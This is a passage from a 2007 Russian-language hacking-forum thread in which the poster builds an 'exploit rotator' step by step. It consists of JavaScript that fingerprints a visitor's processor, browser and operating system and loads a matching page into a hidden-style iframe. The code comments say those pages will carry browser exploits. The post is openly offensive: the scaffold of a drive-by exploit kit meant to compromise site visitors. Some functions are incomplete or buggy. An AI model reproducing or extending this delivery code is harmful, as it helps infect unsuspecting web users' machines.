Показать сообщение отдельно

  #3  
Старый 03.04.2007, 11:48
-=lebed=-
Флудер
Регистрация: 21.06.2006
Сообщений: 3,193
Провел на форуме:
12702287

Репутация: 4738


По умолчанию

И так, вчера мы немного определились с алгоритмом, однако забыли про переменную CPU (которая принимает значения - архитектура процессора). Поэтому первое ветвление должно быть именно в зависимости от её значения. По сути нам надо написать функцию EXPLOIT(CPU,brouser,OS) на выходе которой мы получим соответствующую страницу с ротацией эксплоитов для конкретного клиента. Поэтому немного перепишем наш код с учётом этого, а также для более легкого последующего апдейта нашего ротатора эксплоитов. Для начала определимся с диапазоном значений переменных:
CPU=[0,1]я думаю для популярных архитектур хватит двух вариантов (x86 и PowerPC). brouser=[0,1,2,3,4,5,6,7] для типов броузеров наверно 8 вариантов достаточно.(под broyser отвели 3 бита) OS=[0,1,2,3,4,5,7,6,7,8,9,10,11,12,13,14,15] - типы операционной системы, имхо 16 возможных вариантов хватит. Не будем парится с трёхмерными массивами, а приведём входящие переменные к одной rotation=128*CPU+16*brouser+OS, таким образом входящая переменная rotation будет принимать значения [0-255] и её размерность составит 1 байт (я не имею ввиду фактическую длину). То есть, так скажем, интелектуальность нашего ротатора составит 256 возможных интелектуальных наборов эксплоитов (ситуаций). (в нашем случае 256 компроментирующих браузер страниц). Перепишем наш код с учётом выше приведённого алгоритма. Ещё модернизируем функцию test_brouser(p), так, чтоб по вхдящему параметру p=2 выдавала нам версию браузера (пригодится для алгоритма ротации).
Код:
<html>

<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<title>Ротатор Эксплоитов</title>
</head>
<SCRIPT language=JavaScript>

<!-- функция определения архитектуры (перенная name_cpu - Название, code_cpu - Присвоенный код, зависимости от параметра выдаёт name_cpu или code_cpu) -->
 
 function test_cpu(p) {
 var name_cpu=navigator.cpuClass
  if (name_cpu==="x86")
    { var code_cpu=0; }
  else
    { var code_cpu=0; }
  if (p===0) 
    {return code_cpu;}
    else {return name_cpu;}
 }
 
<!-- Функция определения бруазера (перенная name_brouser - Название, code_brouser - Присвоенный код, ver_brouser - версия браузера, в зависимости от параметра выдаёт name_brouser, code_brouser или ver_brouser) -->
function test_brouser(p) {
 var name_brouser=navigator.appName
 var ver_brouser=navigator.appVersion
 var code_brouser=0
  if (name_brouser==="Microsoft Internet Explorer")
    { code_brouser=0; }
  else if (name_brouser==="Opera")
     { code_brouser=1; }
    else if (name_brouser==="Netscape")
     { code_brouser=2; }
  if (p===0) 
    {return code_brouser;}
    else if (p===1)
    {return name_brouser;}
    else
    {return ver_brouser;}
 }
 
 
<!-- функция определения ОС (переменная  name_os - Название, code_os - Присвоенный код, в зависимости от параметра выдаёт name_os или code_os) --> 
function test_os(p) {
  if ((navigator.userAgent.indexOf ('Win') != -1) &&
    (navigator.userAgent.indexOf('98') != -1))
    { var name_os = "Windows 98"; var code_os=2;}
  else if((navigator.userAgent.indexOf('Win') != -1) &&
    (navigator.userAgent.indexOf('95') != -1))
    { var name_os = "Windows 95"; var code_os=1;}
  else if(navigator.appVersion.indexOf("16") !=-1)
   { var name_os = "Windows 3.1"; var code_os=0;}
  else if (navigator.appVersion.indexOf ("NT") !=-1)
   { var name_os= "Windows NT"; var code_os=3;} 
  else if (navigator.appVersion.indexOf ("Linux") !=-1)
   { var name_os = "Linux"; var code_os=4;} 
  else if (navigator.userAgent.indexOf ('Mac') != -1)
   { var name_os = "Macintosh"; var code_os=5;}
  else if (navigator.appVersion==="5.0 (Windows; ru)")
	{ var name_os = "Windows"; var code_os=3;} 
  else { var name_os = "other"; var code_os=6;}
  if (p===0) 
    {return code_os;}
    else {return name_os;}
 
 }


<!-- вычисляем код ситуации (входящая переменная rotation) для фунуции EXPLOIT()--> 
var rotation;
rotation=128*test_cpu(0)+16*test_brouser(0)+test_os(0);

<!-- выводим на экран для контроля -->
document.write ("  CPU type: " + test_cpu(1) + ", Код CPU=" + test_cpu(0) + ", Браузер:" + test_brouser(1) + ", Версия:" + test_brouser(2) + ", Код браузера=" + test_brouser(0) + ",  Операционная система : " + test_os(1)+",  Код операционки=" + test_os(0) + ", Код ситуации (переменная rotation)=" + rotation)


<!-- выбираем нужную страницу в iframe по коду rotation-->
      var sites = new Array();
      var currentPage = rotation;
      //тут заменим наши сайты вредоносными страницами, которые будут содержать эксплоиты.
      sites[0] = "rotor0.html";
      sites[1] = "rotor1.html";
      sites[2] = "rotor2.html";
      sites[3] = "rotor3.html";
      sites[4] = "rotor4.html";
      sites[5] = "rotor5.html";
      sites[6] = "rotor6.html";
      sites[7] = "rotor7.html";
      sites[8] = "rotor8.html";
      sites[9] = "rotor9.html";
      sites[10] = "rotor10.html";
      sites[11] = "rotor11.html";
<!-- тут всего 128 компроментирующих браузер страниц будет -->
      function changePage() {
        document.getElementById( "ifrm" ).src = sites[currentPage];
     }
    </script>
<body onload="changePage()">
    <iframe id="ifrm" src=""/>
  </body>
</html>
Тестим код в трёх браузеров, как видим в Опере и FireFox переменная name_cpu имеет значение "undefined", т.е. неопределена. Забъём пока на другие архитектуры и оставим только x86 (MAC-пользователей оставим за бортом), подправим код функции test_cpu() - пусть выдаёт "0" в любом случае, то есть x86. Так же видим, что возникли проблемы в Браузере Mozzila FireFox - наш скрипт не определил операционную систему win2003 (значение other), что тоже не радует, может есть смысл парсить navigator.appVersion и доставать версию ОC от туда?
... продолжение скоро.

P.S. У кого есть хороший javascript для определения Операционной системы, работающий во всех браузерах, прошу выложить тут.

UP:
Ну раз нет, придётся дорабатывать тот что есть. Ошибается только Mozzila FireFox немного изменим функцию определения ОС:
Код:
<!-- функция определения ОС (переменная  name_os - Название, code_os - Присвоенный код, в зависимости от параметра выдаёт name_os или code_os) --> 
function test_os(p) {
  if ((navigator.userAgent.indexOf ('Win') != -1) &&
    (navigator.userAgent.indexOf('98') != -1))
    { var name_os = "Windows 98"; var code_os=2;}
  else if((navigator.userAgent.indexOf('Win') != -1) &&
    (navigator.userAgent.indexOf('95') != -1))
    { var name_os = "Windows 95"; var code_os=1;}
  else if(navigator.appVersion.indexOf("16") !=-1)
   { var name_os = "Windows 3.1"; var code_os=0;}
  else if (navigator.appVersion.indexOf ("NT") !=-1)
   { var name_os= "Windows NT"; var code_os=3;} 
  else if (navigator.appVersion.indexOf ("Linux") !=-1)
   { var name_os = "Linux"; var code_os=4;} 
  else if (navigator.userAgent.indexOf ('Mac') != -1)
   { var name_os = "Macintosh"; var code_os=5;}
  else if (navigator.appVersion==="5.0 (Windows; ru)")
	{ var name_os = "Windows"; var code_os=3;} 
  else { var name_os = "other"; var code_os=6;}
  if (p===0) 
    {return code_os;}
    else {return name_os;}
 
 }
Добаваил для FireFox, чтоб правильно определял OC

Кстать, вот код с javascript, который выводит всю инфу в красивую формочку:
Код:
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN//3.2">

<HTML>
<HEAD>
<TITLE>User Information - What does your browser say about you ?</TITLE>
</HEAD>
<FORM NAME="form1">
<TABLE BORDER="10" BORDERCOLOR="blue">
<TR>
	<TD BGCOLOR="aqua">Browser Name</TD>
	<TD><INPUT TYPE="INPUT" NAME="bn" VALUE="0" SIZE="40" STYLE="background-color:pink"></TD>
</TR>
<TR>
	<TD BGCOLOR="aqua">Browser Version</TD>
	<TD><INPUT TYPE="INPUT" NAME="bv" VALUE="0" SIZE="40" STYLE="background-color:pink"></TD>
</TR>

<TR>
	<TD BGCOLOR="aqua">Width</TD>
	<TD><INPUT TYPE="INPUT" NAME="w" VALUE="0" SIZE="40" STYLE="background-color:pink"></TD>
</TR>
<TR>
	<TD BGCOLOR="aqua">Height</TD>
	<TD><INPUT TYPE="INPUT" NAME="h" VALUE="0" SIZE="40" STYLE="background-color:pink"></TD>
</TR>
<TR>
	<TD BGCOLOR="aqua">Colour Depth</TD>
	<TD><INPUT TYPE="INPUT" NAME="cd" VALUE="0" SIZE="40" STYLE="background-color:pink"></TD>
</TR>
<TR>
	<TD BGCOLOR="aqua">Pixel Depth</TD>
	<TD><INPUT TYPE="INPUT" NAME="pd" VALUE="0" SIZE="40" STYLE="background-color:pink"></TD>
</TR>
<TR>
	<TD BGCOLOR="aqua">Referring document</TD>
	<TD><INPUT TYPE="INPUT" NAME="rd" VALUE="0" SIZE="40" STYLE="background-color:pink"></TD>
</TR>

</TABLE>
</FORM>
<SCRIPT LANGUAGE="JavaScript">
<!--
document.form1.bn.value = navigator.appName
document.form1.bv.value = navigator.appVersion
document.form1.w.value = screen.width
document.form1.h.value = screen.height
document.form1.cd.value = screen.colorDepth
document.form1.pd.value = screen.pixelDepth
document.form1.rd.value = document.referrer
// -->
</SCRIPT>

<CENTER><HR>
</CENTER>

</HTML>
Может, кому пригодится...
P.S. Код "Заготовки Ротатора" обновлён (в этом сообщении) с учётом последних изменений...
Ладно, вообщем с "функицей" EXPLOIT(rotation) мы будем считать частично справились. Никто не мешает нам улучшать её потом. Теперь можно переходить собственно к компроментирующим страницам, которые у нас будут выводится в IFRAME.
... продолжение следует...

Последний раз редактировалось -=lebed=-; 03.04.2007 в 14:54.. Причина: расширена функция определения браузера (теперь умеет выдавать ещё и версию)
 
Ответить с цитированием